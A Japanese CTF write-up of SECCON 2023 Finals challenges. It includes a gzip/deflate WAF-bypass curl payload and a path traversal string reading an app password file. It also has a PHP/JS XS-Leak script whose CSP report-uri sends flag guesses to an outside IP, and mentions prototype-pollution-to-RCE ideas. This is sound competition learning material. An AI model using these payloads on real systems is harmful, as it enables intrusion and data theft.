チーム「ierae」でSECCON CTF 2023 Finals (International)に参加していた。

結果としては10位くらいだったけど、1問解けば4位くらいまで上がれるくらい団子状態だった気がする。

Web babywaf

baby問なのになかなかsolveが出なくてウケた。

fastify/http-proxyのproxyがありWAFになっており、特定のJSON propertyが設定されていると弾かれる。 backendのexpressにどうやってJSONを届けるかという問題。

proxy側はJSONとして処理されず、expressではただしいJSONとして処理されればいいので、いい感じのヘッダやRequest Smugglingっぽいことはできないかと試行錯誤して時間を潰した。

Content-Encoding: gzip はproxyがJSONとして処理できずに、backendではJSONになるのでこれが使えそうと気づく。 しかし、proxy側で受け取ったrequest bodyをUTF-8 decodeしてしまうのでうまくいかない。

↓はうまくいかない。ちなみに、proxy側がrequest body書き換えてしまってcontent-lengthとの不整合が起きるのでtransfer-encoding: chunkedする工夫をしている。結果的には無意味であったが…

$ echo '{"givemeflag": "json"}' | gzip | curl -v -i --data-binary @- -H "Content-Encoding: gzip"  http://babywaf.int.seccon.games:3000 -H'content-type: text/plain' -H 'transfer-encoding: chunked'

ASCII範囲のgzipやdeflateを送る必要があるんだけど、なんかあったっけ〜と呟いていたらチームのshiho氏から https://github.com/molnarg/ascii-zip を教えてもらう。 自分も昔CTFで使ったはずなのになかなか記憶に出てこなかった(あと、なんかあった気はしたのでググっていたけどググり力が低く見つけられなかった)

一応、ascii-zipそのまま使うだけでは駄目で、checksumやmagic headerもASCII範囲内に収まるように少し改造した。

diff --git a/compress.py b/compress.py
index 7157045..72c7084 100755
--- a/compress.py
+++ b/compress.py
@@ -523,7 +523,7 @@ def wrap_gzip(compressed):

 def wrap_zlib(compressed, data):
     return (
-        'x\xda' +
+        'x\x01' +
         compressed +
         struct.pack('!L', zlib.adler32(data) % pow(2, 32))
     )
@@ -537,9 +537,25 @@ elif args.mode == 'gzip':
     output.write(wrap_gzip(compressor.compress(data)[0]))

 elif args.mode == 'zlib':
-    compressed, data = compressor.compress(data)
-    print repr(compressed)
-    output.write(wrap_zlib(compressed, data))
+    i = 0
+    while True:
+        compressor = ASCIICompressor(
+            map(chr, range(1, 128))
+        )
+        i = i + 1
+        data = '{"givemeflag":"'+str(i)+'"}'
+        compressed, data = compressor.compress(data)
+        #print repr(compressed)
+        data = wrap_zlib(compressed, data)
+        print(data)
+        fail = False
+        for j in data:
+            if ord(j) > 127:
+                print(ord(j))
+                fail = True
+        if fail == False:
+            output.write(data)
+            break

 elif args.mode == 'swf':
     body = data[8:]

これで出力したpayloadをContent-Encoding: deflate付きで送るといける。

想定解はUTF-8のBOM付きJSONを送るだけ。 fastify/http-proxyのソースコードを追っていくとsecure-json-parseによって処理されるが、そこでUTF-8のBOMの処理があるので気づいた人が多いっぽい。 自分も気づいたものの、proxy側なので使えないと思い試さなかった。

FLAG: SECCON{**MAY**_in_rfc8259_8.1}

Web plainblog

前半は以下のようなpathを設定する問題。後半はos.path.realpathを使った似たような問題。

open(os.path.abspath(os.path.normpath(path))) # これは読めるが、
os.path.exists(os.path.normpath(path)) # これは False になる

Race Conditionがあるのかな〜とか、1ヶ月前に出たCVE-2023-40587が関係あるのかな〜とか、Pythonのコードを読んでいたが分からんとなった。 しかしなんかこの問題見覚えがある気がする…と思い、後半で出てくるos.path.realpathを入れてググるとGoogle CTF 2022のLEGITのwriteupが出てきた。

Typically Linux has a maximum filename length of 255 characters, and paths that are passed to syscalls can’t exceed 4095 characters (reference).

https://ctftime.org/writeup/34547

これじゃん。

os.path.existsのほうでは4096バイトを超えるようにすればいいので、以下のようなpayloadを送って解いた。

page=.////../../../../page//..//..//..//..//..//(...たくさん...)//..//..//..//..//..//..//..//proc/self/root/app/password

FLAG: SECCON{play_with_path_mechanics}

Web CGI 2023

ヘッダインジェクションできるが、Content-Security-Policy: default-src 'none'が設定されているのでどうする?という問題。 XSSでなくともresponse bodyのXS-Leakができればいい。

まず思いつくのは https://twitter.com/ankursundara/status/1723410507389129092Content-Type: multipart/x-mixed-replaceだが、ブラウザがFirefoxではないので使えない。

Access-Control-Allow-CredentialsヘッダやXSSIを使ってデータを抜き取ろうとするも、SameSite以前に以下のエラーが出るせいで外部から読み取れない。 今回の環境ではブラウザから見てwebサーバがprivate IP addressにあるので、secure contextにないクライアントからはwebサーバのリソースにアクセスできない。 secure contextにいたらいたで、webサーバがhttpなのでmixed contentで怒られる。詰み。

The request client is not a secure context and the resource is in more-private address space `private`.

Response Splittingも試したがうまくいかない。 Content-Security-Policy-Report-Onlyを設定して、HTMLの先頭に <img src=http://exmaple.com/ を突っ込み、URLがレポートされないか試したりもしたが、ちゃんとタグが閉じられないとダメ。

色々試しているうちに、そういえばresponse bodyのXS-Leakだから、response bodyのhashがわかればいいんだよなと気づく。

Content-Security-Policy-Report-Only: style-src 'sha256-xxxx...'を設定して、HTMLの先頭に <style> を突っ込めば<style>の中身がそのsha256にマッチするかどうかでleakできる。

<script>
const sleep = (time) => new Promise(res => setTimeout(res, time));
const main = async () => {
<?php
//$prefix = "leaky_sr";
$prefix = $_GET["prefix"];
$chars = "._-}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
file_put_contents("chars.txt", $chars);
foreach (str_split($chars) as $char) {
  $flag = "Status: 200 OK\nContent-Type: text/plain; charset=utf-8\n\nSECCON{" . $prefix . $char;
  $length = 74 + strlen($prefix);
  $hash = base64_encode(hash('sha256', $flag, true));
  $q = "Content-Type: text/html\r\nContent-Security-Policy-Report-Only: style-src 'sha256-$hash'; report-uri http://35.194.96.69:12345/record.php?k=$char\r\nContent-Length: $length\r\n\r\n<style>";
?>
a = window.open('http://web:3000/?q=<?php echo urlencode($q) ?>', '', 'width=100,height=100');
await sleep(100);
a.close()
<?php } ?>
location = "/redirect.php?prefix=<?php echo $prefix; ?>";
}
main();
</script>

FLAG: SECCON{leaky_sri}

Misc digicake

1チーム10分が与えられ、順番に部屋に案内されるのでその間に解くやつ。

電気回路の基盤を渡されて、配線をゴリゴリ削りながら爆弾を解除する問題。

自分のチームはコンテスト開始から2時間後くらいの枠でチャレンジすることになっていたのだけど、チームで1番詳しそうな人が電工二種の試験でその時間は不在だし試験中なので当然連絡取れない。 そんな偶然ある?

大学とか高校の知識を思い出したりしながら、メンバー全員で取り組んだ。 グラウンドにつながる配線切ればいいんじゃない?というアイデアを出したりして、少しは貢献できた気がする。

全チームでFirst blood。まあ最初のほうの枠だったので。

楽しかった。

FLAG: SECCON{How_many_solutions_did_you_find?}

Misc whitespace.js

JSパズル問なのに解けなかった…くやし〜

予選で出たnode-ppjailの延長だと思い、node.jsのソースコードからいい感じのガジェットがないかな〜とsemgrepかけたりソースコード見ながらdebuggerでポチポチしたりしていたら頭がおかしくなってタイムアップ。

// いい感じのガジェット
a = b["polluted1"]
a(polluted2)()

evalの返り値がconsole.logされるし、console.logのformatter周りがよさそうと思い見ていたが、脳みそが足りなかった。

他には prototype.env とか prototype.NODE_OPTIONS を汚染しておいて、child_process.spawnが呼ばれればRCEできるので、そういった方法もないかも探っていた。

想定解的にはnode.js internalへの攻撃は不要だった…

大学生くらいのときなら解けてた気がする